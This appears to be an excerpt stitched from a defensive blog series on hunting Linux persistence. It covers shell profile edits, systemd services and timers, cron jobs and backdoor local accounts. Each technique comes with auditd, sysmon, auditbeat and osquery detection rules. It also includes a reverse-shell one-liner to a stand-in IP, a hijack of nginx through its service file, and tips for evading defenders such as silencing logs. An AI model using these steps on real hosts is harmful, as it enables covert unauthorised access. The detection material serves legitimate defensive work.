echo "echo '~/.profile' >> /tmp/triggered" >> ~/.profile

touch /tmp/triggered

# As root
echo "echo '/etc/bash.bashrc' >> /tmp/triggered" >> /etc/bash.bashrc
echo "echo '/etc/bash.bash_logout' >> /tmp/triggered" >> /etc/bash.bash_logout
echo "echo '/etc/profile' >> /tmp/triggered" >>  /etc/profile 
echo "echo '/etc/profile.d/bad.sh' >> /tmp/triggered" > /etc/profile.d/bad.sh

If you get another terminal and ssh into the machine, /etc/triggered will have the following

/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bash_profile
#After you end the session
~/.bash_logout
/etc/bash.bash_logout

So the question here is: why was ~/.bashrc not triggered?

~/.bashrc is triggered directly when an interactive shell is created, for example, running bash -i. However, by convention, ~/.profile and /etc/profile sources from ~/.bashrc and /etc/bash.bashrc respectively.

In ~/.profile you might see something like

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
    . "$HOME/.bashrc"
    fi
fi

And in /etc/profile

    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi

But because we added ~/.bash_profile, ~/.profile is ignored and as a consequence, ~/.bashrc is never called. So when adding persistence using this, if ~/.profile exists modify it instead of creating ~/.bash_profile or ~/.bash_login since this might break some of the configurations that have been put by the user in ~/.profile or ~/.ssh like PATH or the terminal colors. This will tip them off that something is wrong the next time they SSH into the VM.

So roll it back, we should use ~/.profile

rm ~/.bash_login
rm ~/.bash_profile
# rm /tmp/triggered 

Create a new shell again using SSH

/etc/bash.bashrc
/etc/profile.d/bad.sh
/etc/profile
~/.bashrc
~/.profile
 #After you end the session
~/.bash_logout
/etc/bash.bash_logout

11.3 Watching for modifications of shell configurations

11.3.1 auditd

These are the rules from reference Neo23x0/auditd that are relevant here. This also includes other configs for other shells.

## Shell/profile configurations
-w /etc/profile.d/ -p wa -k shell_profiles
-w /etc/profile -p wa -k shell_profiles
-w /etc/shells -p wa -k shell_profiles
-w /etc/bashrc -p wa -k shell_profiles
-w /etc/csh.cshrc -p wa -k shell_profiles
-w /etc/csh.login -p wa -k shell_profiles
-w /etc/fish/ -p wa -k shell_profiles
-w /etc/zsh/ -p wa -k shell_profiles

I’m not sure for other distros, but there might be a typo here

# -w /etc/bashrc -p wa -k shell_profiles
-w /etc/bash.bashrc -p wa -k shell_profiles

I recommend adding bash_logout scripts

-w /etc/bash.bash_logout -p wa -k shell_profiles

Additionally, for known users try to monitor the user specific config

-w /root/.profile -p wa -k shell_profiles
-w /root/.bashrc -p wa -k shell_profiles
-w /root/.bash_logout -p wa -k shell_profiles
-w /root/.bash_profile -p wa -k shell_profiles
-w /root/.bash_login -p wa -k shell_profiles

11.3.2 sysmon

<FileCreate onmatch="include">
    <Rule name="TechniqueID=T1546.004,TechniqueName=Event Triggered Execution: Unix Shell Configuration Modification" groupRelation="or">
        <TargetFilename condition="begin with">/etc/profile.d/</TargetFilename>
        <TargetFilename condition="is">/etc/profile</TargetFilename>
        <TargetFilename condition="is">/etc/bash.bashrc</TargetFilename>
        <TargetFilename condition="is">/etc/bash.bash_logout</TargetFilename>
        <TargetFilename condition="end with">.bashrc</TargetFilename>
        <TargetFilename condition="end with">.bash_profile</TargetFilename>
        <TargetFilename condition="end with">.bash_login</TargetFilename>
        <TargetFilename condition="end with">.profile</TargetFilename>
        <TargetFilename condition="end with">.bash_logout</TargetFilename>
    </Rule>
</FileCreate>

Unfortunately, this won’t detect the modification of existing files such as /etc/profile, /etc/bash.bashrc, /root/.bashrc, or /root/.profile. So until sysmon is able to have a file modification event, prefer to use auditd or other file integrity monitoring tool.

11.3.3 auditbeat

By default, auditbeat will be able to monitor /etc/profile, /etc/bash.bashrc, and /etc/bash.bash_logout. Similar to init.d, it won’t monitors subdirectories by default so we have to include /etc/profile.d

- module: file_integrity
  paths:
    ...
  - /etc/profile.d
  # - /root/
  # - /home/user/
  # recursive: true

It’s not as easy to monitor the user specific configs. We can add their home directories, but depending on your setup, these locations might ahve files that are modified frequeuntly.

11.3.4 osquery

Sorry this is a chunky query, but what it does is it looks for system wide shell profiles as well as enumerate possible user configurations based on the home directory of each user in the machine.

This allows you to get snapshots of the shell profiles.

WITH system_wide AS (
    SELECT NULL AS username, path, filename, size, atime, mtime, ctime
    FROM file
    WHERE 
        path LIKE "/etc/profile.d/%" 
        OR path IN (
            '/etc/profile',
            '/etc/bash.bashrc',
            '/etc/bash.bash_logout'
        )
), user_specific_files AS (
    SELECT username, concat(users.directory, column1)AS path 
    FROM users 
    CROSS JOIN (VALUES('/.bashrc'), ('/.profile'), ('/.bash_profile'), ('/.bash_login'), ('/.bash_logout'))
), user_specific AS (
    SELECT username, path, filename, size, atime, mtime, ctime
    FROM user_specific_files
    JOIN file
    USING(path)
)

SELECT username, path, filename, size, atime, mtime, ctime, md5
FROM (
    SELECT * FROM system_wide
    UNION ALL 
    SELECT * FROM user_specific
)
JOIN hash
USING(path)
ORDER BY mtime DESC;

What’s next

So we’ve discussed some of the scripts that are executed when a system boots or a user logs on the VM. In the next blog post, we’ll discuss systemd-generators which is another boot and logon initialization script.

Photo by Karolina Grabowska from Pexels

In this blogpost, we’ll discuss how attackers can create services and scheduled tasks for persistence by going through the following techniques:

• Create or Modify System Process: Systemd Service
• Scheduled Task/Job: Systemd Timers
• Scheduled Task/Job: Cron

We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, osquery, sysmon and auditbeats.

If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the appendix in part 1.

Here is a diagram of the things we will cover in this blog post: Links to the full version [image] [pdf]

Linux Persistence Series:

• Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells
  • 1 - Server Software Component: Web Shell
• Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation
  • 2 - Create Account: Local Account
  • 3 - Valid Accounts: Local Accounts
  • 4 - Account Manipulation: SSH Authorized Keys
• Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
  • 5 - Create or Modify System Process: Systemd Service
  • 6 - Scheduled Task/Job: Systemd Timers
  • 7 - Scheduled Task/Job: Cron
• Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration
  • 8 - Boot or Logon Initialization Scripts: RC Scripts
  • 9 - Boot or Logon Initialization Scripts: init.d
  • 10 - Boot or Logon Initialization Scripts: motd
  • 11 - Event Triggered Execution: Unix Shell Configuration Modification
• Hunting for Persistence in Linux (Part 5): Systemd Generators
  • 12 - Boot or Logon Initialization Scripts: systemd-generators
• (WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
  • Modify Authentication Process: Pluggable Authentication Modules
  • Compromise Client Software Binary
  • Boot or Logon Autostart Execution: Kernel Modules and Extensions
  • Hijack Execution Flow: Dynamic Linker Hijacking

5 Create or Modify System Process: Systemd Service

5.1 Introduction Systemd Services

MITRE: https://attack.mitre.org/techniques/T1543/002/

Systemd services are commonly used to manage background daemon processes. This is how a lot of critical processes of the Linux OS start on boot time. In a Debian 10, here are some example services you might be familiar with:

• /etc/systemd/system/sshd.service: Secure Shell Service
• /lib/systemd/system/systemd-logind.service: Login Service
• /lib/systemd/system/rsyslog.service: System Logging Service
• /lib/systemd/system/cron.service: Regular background program processing daemon

Because of these service files, processes such as sshd, rsyslogd and cron will start running as soon as the machine is turned on.

Adversaries may utilize systemd to install their own malicious services so that even after a reboot, their backdoor service or beacon will also restart. To install a new service, a *.service unit file is created in /etc/systemd/system/ or /lib/systemd/system/.

Let us look at rsyslog.service to get a real example configuration

[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/

[Service]
Type=notify
ExecStart=/usr/sbin/rsyslogd -n -iNONE
StandardOutput=null
Restart=on-failure

# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384

[Install]
WantedBy=multi-user.target
Alias=syslog.service

There are two lines we want to focus on:

• ExecStart: This is the command that is run when the service starts
• WantedBy: Having a value of multi-user.target means that the service should start on boot time.

Some resources to get you started in this:

• https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/
• https://wiki.debian.org/systemd/Services
• https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units
• https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html
• https://www.freedesktop.org/software/systemd/man/systemd.unit.html
• https://www.unixsysadmin.com/systemd-user-services/

5.2 Installing a malicious service

5.2.1 Where to put service files

To install a service, we need to first creat a <SERVICE>.service unit file in one of the systemd’s unit load paths. Based on the man pages [1][2].

The full paths and order that systemd will look for unit files can be enumerated using the systemd-analyze unit-paths command (Add --user for user mode). For example:

$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...

This is the exact order and locations that systemd will load services from. Some locations such as /run/* are transient and do not persist when the machine shuts down.

The first *.service file in the list will be used. For example, if /lib/systemd/system/nginx.service already exists and we create /etc/systemd/system/nginx.service then we are overriding the nginx.service because /etc/systemd/system takes precendence over /lib/systemd/system/nginx.service. This might be something we can explore if we want to compromise existing services instead of creating a new one.

5.2.2 Minimal service file

We want to create a service called bad. So we create a file named /etc/systemd/system/bad.service

[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory /

[Install]
WantedBy=multi-user.target

Once this is created, we need to enable the service so that it will run when the machine boots. The standard way to do this is

systemctl enable bad

If you named your service netdns.service, for example, then the you will run systemctl enable netdns. This command will look for a bad.service file in one of the unit paths, parse it and create a symlink for each target in the WantedBy setting.

Since WantedBy=multi-user.target, the target directory would be /etc/systemd/system/multi-user.target.wants and we can manually create the symlink

ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-user.target.wants/bad.service

After the symlink is created, the OS will know to run bad.service when the machine boots up. To manually run the service, you can run systemctl start bad. If you modify a unit file, you need to reload it using systemctl daemon-reload

In this example, ExecStart is a python3 but you can replace this with whatever command you want. It can be a reverse shell like bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 from whatever cheatsheet [3] or you can point this to a bash script or executable like /tmp/backdoor or /opt/backdoor.

5.2.3 Staying covert

Be conscious about the unit name, description, and the output of your script/executable.

By default, the description of the service will appear in syslog, and along with the stdout/stderr. Let’s say I have a python script that the service will run and it is trying to connect to a domain that we have failed to setup properly, then the service might right the following the syslog

Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
Jan 30 07:36:27 test-auditd python3[957]:   File "<string>", line 1, in <module>
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.

This is problematic because this is something that might tip off the defenders.

A generic way to prevent stdout/stderr from being logged is to include the following under [Service] in the unit file.

StandardOutput=null
StandardError=null

So after modifying the script to fail gracefully, and modfying the name, description, and logging of the service we might get something like.

Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.

5.2.4 User Systemd Services

There is less common class of systemd service called user services. They reside in a different set of unit paths that is defined when running systemd-analyze unit-paths --user .

Output for Debian 10:

$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...

We can add a bad_user.service in /etc/systemd/user

[Unit]
Description=Example of bad service

[Service]
ExecStart=<SOME COMMAND>

[Install]
WantedBy=default.target

We can enable this “globally” by creating a /etc/systemd/user/default.target.wants and creating a symlnk for bad_user.service

mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service /etc/systemd/user/default.target.wants/bad_user.service

After a reboot, the next time that a user logs in the machine, a dedicated bad_user.service is created. How is this different from the one we have before?

Below is an example of a process tree.

[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│  ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
   ├─ [user1] bad_user.service

Since sshd, cron and bad.service are system services, only a single instance is created (usually running as root). If user0 and user1 logs in, two instances of bad_user.service are created because bad_user.service is a user service.

Typically, an attacker needs to have root privileges to be able to create any system services. On the other hand, any user can create their own user unit files in ~/.config/systemd/user This can be useful to maintain user persistence until the attackers get root.

As a regular user you can trigger these systemctl with the --user flag

mkdir -p /home/user0/.config/systemd/user
vi /home/user0/.config/systemd/user/bad_user.service
systemctl daemon-reload --user
systemctl enable bad_user
systemctl start bad_user

5.3 Detection: Addition changes in systemd unit paths

As we have seen, the installation of a service is simply the creation of a file and the creation of a symlink. We have to look for file modification and creation in persistent paths listed in systemd-analyze unit-paths. Based on this, and corroborated by [4], the five main candidates are the following:

• /etc/systemd/*
• /usr/local/lib/systemd/*
• /lib/systemd/*
• /usr/lib/systemd/*
• <USER HOME>/.config/systemd/user

If the attacker wants to properly run the service, then they might call systemctl or service command line so monitoring execution of these might also show malicious services. However, it as we’ve shown in the previous sections, it is possible to enable a service by manually creating the symlink.

5.4 Detecting using auditd rules

Our reference Neo23x0/auditd rules give us the following rules.

-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd

This will fail to detect persistence installation such as those found in metasploit’s service_persistence [6] where metasploit installs the service file in /lib/systemd/system/#{service_filename}.service

For this, I recommend adding the following rules

-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd

# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user  -p wa -k systemd_user

The commented out rules may not be immediately applicable because they might not exist depending on the distro you are using. We cannot use auditd rules for directories that don’t exist at the time the service is started.

Example auditd logs are:

SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined key="systemd"
PATH item=0 name="/etc/systemd/system/" inode=90 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/systemd/system/bad_auditd_example.service" inode=11867 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"

5.5 Detecting using sysmon rules

5.5.1 Using sysmon

For sysmon, we can see the following rule in T1543.002_CreateModSystemProcess_Systemd.xml

  <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service" groupRelation="or">
          <TargetFilename condition="begin with">/etc/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/usr/lib/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/run/systemd/system/</TargetFilename>
          <TargetFilename condition="contains">/systemd/user/</TargetFilename>
        </Rule>
      </FileCreate>

Similar to the previous section, to detect metasploit, I recommend adding

<TargetFilename condition="begin with">/lib/systemd/system/</TargetFilename>

Example sysmon log:

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>11</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2022-01-30T09:55:21.054861000Z"/>
    <EventRecordID>20</EventRecordID>
    <Correlation/>
    <Execution ProcessID="2571" ThreadID="2571"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>test-auditd2</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1543.002,TechniqueName=Create or Modify Sys</Data>
    <Data Name="UtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="ProcessGuid">{f4c1cbc8-6089-61f6-8d07-9717e6550000}</Data>
    <Data Name="ProcessId">2738</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/etc/systemd/system/bad_sysmon_example.service</Data>
    <Data Name="CreationUtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

5.5.2 Caveats for detecting using sysmon rules

It should be noted that this can only detect the file creation. We have shown some problems with this in the previous blog post. To recap, this will fail if:

1. The bad.service file is created outside the directory and moved into the systemd directory
2. An existing file is modified

For example, the sysmon rules above will not be triggered by this script (while the auditd rules above will catch this).

cat > /tmp/bad_sysmon.service << EOF
[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory / 9998

[Install]
WantedBy=multi-user.target

EOF

mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-user.target.wants/bad_sysmon.service

5.6 Detecting using auditbeats

Of course, just like auditd we can use auditbeat’s file integrity monitoring for this. But it should be noted that the default configuration of auditbeats does not monitor systemd files. [7].

Although the default configuration does monitor /etc/ , the setting recursive is set to false. This means that /etc/system/systemd is not monitored. Either set recursive: true or include the paths we’ve enumerated in the config.

- module: file_integrity
  paths:
  - /bin
  - /usr/bin
  - /sbin
  - /usr/sbin
  - /etc
  - /etc/systemd/system
  - /lib/systemd/system
  - /usr/lib/systemd/system
  # recursive: true

If setup properly, the creation of a service and running systemctl daemon-reload should result in the following logs

5.7 Hunting using osquery

5.7.1 Listing systemd unit files with hashes

Here we look for services

SELECT id, description, fragment_path, md5  
FROM systemd_units 
JOIN hash ON (hash.path = systemd_units.fragment_path) 
WHERE id LIKE "%service";

5.7.2 Listing startup services

SELECT name, source, path, status, md5
FROM startup_items 
JOIN hash 
USING(path)
WHERE path LIKE "%.service"  AND status = "inactive"
ORDER BY name;

This will return startup_items that are *.service with their path and hashes. These are the services that are enabled.

5.7.3 Listing processes created by systemd

The services created by systemd will have a parent process ID of 1. So we can also look at weird processes that have a parent PID of 1. As suggested by [4], look for processes that run on python, bash, or sh.

SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1

5.7.4 Listing failed services

If a backdoor or beacon was improperly configured, then this might fail.

SELECT id, description, fragment_path, sub_state, md5  
FROM systemd_units 
JOIN hash 
ON (hash.path = systemd_units.fragment_path) 
WHERE sub_state='failed';

5.8 Additional notes: Modifying existing services

Instead of creating a new systemd service, an attacker can just modify existing services. For example they can:

• Modifying existing .service files
• Overriding existing .service files
• Modifying executable files used by .service

Let’s say our target is nginx. To know where the nginx.service is, we can use

$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)

We want to modify /lib/systemd/system/nginx.service. If we want to add a long running process with this without interrupting the real nginx process, we can use the ExecStartPre which runs a command before the actual process.

...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # <------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...

systemd can handle multiple ExecStartPre so we can add script. A template for /root/run.sh can be

#! /bin/bash

<COMMAND> 2>/dev/null >/dev/null & disown  

With that the next time nginx starts (next reboot) our run.sh will also run. However, if you want to restart then we use

systemctl daemon-reload
systemctl restart nginx

We have several options for modfying:

1. Modify /lib/systemd/system/nginx.service directly, but if nginx updates this file will be overwritten.
2. Add an nginx.service in earlier paths as discussed in the (5.2.1) /etc/systemd/system or /usr/local/lib/systemd/system
3. Create /etc/systemd/system/nginx.service.d/local.conf and this will update the config

Sample contents of /etc/systemd/system/nginx.service.d/local.conf

[Service]
ExecStartPre=/root/run.sh 

Similar to creation of a new service, detecting this would require a form of file integrity monitoring. So be careful with just whitelisting services when looking for malicious installations.

6 Scheduled Task/Job: Systemd Timers

MITRE: https://attack.mitre.org/techniques/T1053/006/

6.1 Understanding systemd timers

Previously, the services are triggered during boot time. But that is not the only way a service can be triggered. Another way is using timers. We can list existing timers in a VM using systemctl list-timers

This is an alternative to the more well known cron.

To understand this, there are two unit files we need:

1. SERVICE_NAME.timer
2. SERVICE_NAME.service

The .service file is almost the same as the one we just discussed.

Let’s first look at an example of timers in action. If you want to know the location of a timer we can run

# systemctl status google-oslogin-cache.timer 
● google-oslogin-cache.timer - NSS cache refresh timer
   Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
   Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago

In this case, google-oslogin-cache.timer is in /lib/systemd/system/google-oslogin-cache.timer.

If we look at the content of google-oslogin-cache.timer we see:

[Unit]
Description=NSS cache refresh timer

[Timer]
OnBootSec=5
OnUnitActiveSec=6h

[Install]
WantedBy=timers.target

This means that

• OnUnitActiveSec=6h: how long to wait before triggering the service again
• WantedBy=timers.target: the .timer should be treated as a timer

The associated google-oslogin-cache.service is very simple. The [Install] section empty because this service will be triggered by its timer.

[Unit]
Description=NSS cache refresh

[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache

6.2 Creating a malicious timer

With that, we know enough to create a malicious timer.

We created a file /etc/systemd/system/scheduled_bad.timer

[Unit]
Description=Bad timer

[Timer]
OnBootSec=5
OnUnitActiveSec=5m

[Install]
WantedBy=timers.target

We created its service /etc/systemd/system/scheduled_bad.service

[Unit]
Description=Bad timer

[Service]
ExecStart=/opt/beacon.sh

And we now enable it and start the timer

# systemctl daemon-reload 
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer

Similar to a regular service, the enable here created a symlink for each target in WantedBy

Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → /etc/systemd/system/scheduled_bad.timer.

6.3 Detecting creation of timers

We won’t discuss much about the detection since it is almost the same as the creation of systemd services. To recap, we want to look for file creation of .service and .timer in one of the following paths:

• /etc/systemd/system
• /usr/local/lib/systemd/system
• /lib/systemd/system
• /usr/lib/systemd/system

6.4 Listing timers with osquery

SELECT id, description, sub_state, fragment_path  
FROM systemd_units 
WHERE id LIKE "%timer";

7 Scheduled Task/Job: Cron

MITRE: https://attack.mitre.org/techniques/T1053/003/)

7.1 Introduction to cron

Cron is the most traditional way to create scheduled tasks. The interesting directories for us are the following:

• /etc/crontab
• /etc/cron.d/*
• /etc/cron.{hourly,daily,weekly,monthly}/*
• /var/spool/cron/crontab/*

We won’t go through how to define cronjobs. Please refer to https://crontab.guru/examples.html for example common examples.

7.2 Creating scheduled cron job

7.2.1 User Crontab

If you are a user you can modify your own crontab, using crontab -e. This will create a file in /var/spool/cron/crontab/<user>.

For example, we can add

*/5 *  * * *    /opt/beacon.sh

To run /opt/beacon.sh every 5 minutes. If root runs crontab -e it will be /var/spool/cron/crontab/root

7.2.2 /etc/crontab

The admin can modify /etc/crontab or /etc/crontab.d/<ARBITRARY FILE>. Unlike the files in /var/spool/cron/* where the user of the jobs are implied based on the whose crontab it is, the lines in /etc/crontab include a username.

vi /etc/crontab/

*/10 *  * * *  root  /opt/beacon.sh

This will run /opt/beacon.sh every 10 minutes as root

7.2.3 hourly,daily,weekly, and monthly cron

The /etc/cron.{hourly,daily,weekly,monthly}/* are actual scripts triggered hourl, or daily, or etc…

7.3 Monitoring addition to cron

7.3.1 Auditd

From our reference Neo23x0/auditd rules give us the following rules.

-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron

This should cover almost everything for cron.

7.3.2 Sysmon

For sysmon we can use T1053.003_Cron_Activity.xml which is a translation of the auditd rules above.

    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <Image condition="end with">crontab</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>
    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <TargetFilename condition="is">/etc/cron.allow</TargetFilename>
          <TargetFilename condition="is">/etc/cron.deny</TargetFilename>
          <TargetFilename condition="is">/etc/crontab</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.d/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.daily/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.hourly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.monthly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.weekly/</TargetFilename>
          <TargetFilename condition="begin with">/var/spool/cron/crontabs/</TargetFilename>
        </Rule>
      </FileCreate>
    </RuleGroup>

Although it should be noted that because of what we have observed with using FileCreate for file integrity monitoring, we can say that the sysmon version is not as powerful as the auditd even if it is a direct translation.

7.3.3 auditbeats

Similar to the systemd, be careful with using the default file integrity monitoring of auditbeat. By default, only /etc/crontab will be monitoring. The following are not covered by FIM of the default configuration:

• /etc/cron.d/*
• /etc/cron.{hourly,daily,weekly,monthly}/*
• /var/spool/cron/crontab/*

You can either set recursive or add each of those specific directories.

7.3.4 osquery

Listing parsed crontab

SELECT *
FROM crontab

Listing all files of /etc/cron.{hourly,daily,weekly,monthly}/*

SELECT path, directory, md5
FROM hash 
WHERE 
  path LIKE "/etc/cron.hourly/%"
  OR path LIKE "/etc/cron.daily/%"
  OR path LIKE "/etc/cron.weekly/%"
  OR path LIKE "/etc/cron.monthly/%";

Conclusions and What’s next

We’ve discussed how to create and detect the creation service, timers, and cronjobs.

Personally, it took a while to fully grasp systemd and I found that the best resources were the man pages. I hope that I’ve been able to provide materials to make these concepts more accessible. If there are mistakes here are things you might want to add, feel free to reach out.

In the next post, we’ll going through where to put scripts/executables that run on boot or logon using initizalization scripts and shell configurations.

Sources

[1] Debian systemd.unit man page

[2] freedesktop systemd.unit man page

[3] PayloadsAllTheThings Reverse Shell

[4] ATT&CK T1501: Understanding systemd service persistence

[5] Neo23x0/auditd

[6] Metasploit: service_persistence.rb

[7] Auditbeat File Integrity Module

[8] systemd user services

Photo by Matej from Pexels

In the previous blog post, we’ve discussed how to setup auditd and sysmon so that we can start hunting for persistence techniques in linux hosts. Specifically, we discussed some ways we can detect the creation and the use of web shells in a web server.

In this blog post, we will discuss the following:

• Create Account: Local Account
• Valid Accounts: Local Accounts
• Account Manipulation: SSH Authorized Keys

We will give some example commands on how to implement these persistence techinques and some alerts you can use to detect these.

If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the appendix in part 1.

Here is a diagram of the things we will cover in this blog post: Links to the full version [image] [pdf]

This is part 2 of a series on persistence in linux:

• Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells
  • 1 - Server Software Component: Web Shell
• Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation
  • 2 - Create Account: Local Account
  • 3 - Valid Accounts: Local Accounts
  • 4 - Account Manipulation: SSH Authorized Keys
• Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron
  • 5 - Create or Modify System Process: Systemd Service
  • 6 - Scheduled Task/Job: Systemd Timers
  • 7 - Scheduled Task/Job: Cron
• Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration
  • 8 - Boot or Logon Initialization Scripts: RC Scripts
  • 9 - Boot or Logon Initialization Scripts: init.d
  • 10 - Boot or Logon Initialization Scripts: motd
  • 11 - Event Triggered Execution: Unix Shell Configuration Modification
• Hunting for Persistence in Linux (Part 5): Systemd Generators
  • 12 - Boot or Logon Initialization Scripts: systemd-generators
• (WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
  • Modify Authentication Process: Pluggable Authentication Modules
  • Compromise Client Software Binary
  • Boot or Logon Autostart Execution: Kernel Modules and Extensions
  • Hijack Execution Flow: Dynamic Linker Hijacking

2 Create Account: Local Account

2.1 Creating account to maintain persistence

MITRE: https://attack.mitre.org/techniques/T1136/001/

Adversaries may create a local account to maintain access to victim systems without any need for additional tools. Rather than configure a backdoor web shell, let’s just create a user!

We run the following commands

sudo adduser --shell /bin/bash --home /var/www/ nginx  
sudo usermod -aG sudo nginx

This creates a user named nginx and add this to the sudo group.(Maybe this will trick a junior analyst who might think nginx is a legitimate user of the nginx service)

We can set a password for this or if you want to have public key ssh then you might do additional actions.

mkdir /var/www/.ssh  
echo "ssh-ed25519 AA ... " > /var/www/.ssh/authorized_keys

With that, we can now use nginx@<pwned_host> to gain root access to the host.

Often, when you create a local account, you would have to give the account additional permissions for it to be useful. That is why you will see that our detection includes both account creation and modification.

2.2 Detection: User add in auditbeat’s system module

Using the default config auditbeat, we can see that the event.module: system logs process_started events. One of those we would be able to see

But on top of that, we are also able to see the following event.action:

• user_added: Adding user to passwd and shadow
• password_changed: Setting user’s password
• user_changes: Adding user to sudogroup

2.3 Detection: Changes in /etc/shadow, /etc/passwd, and /etc/group

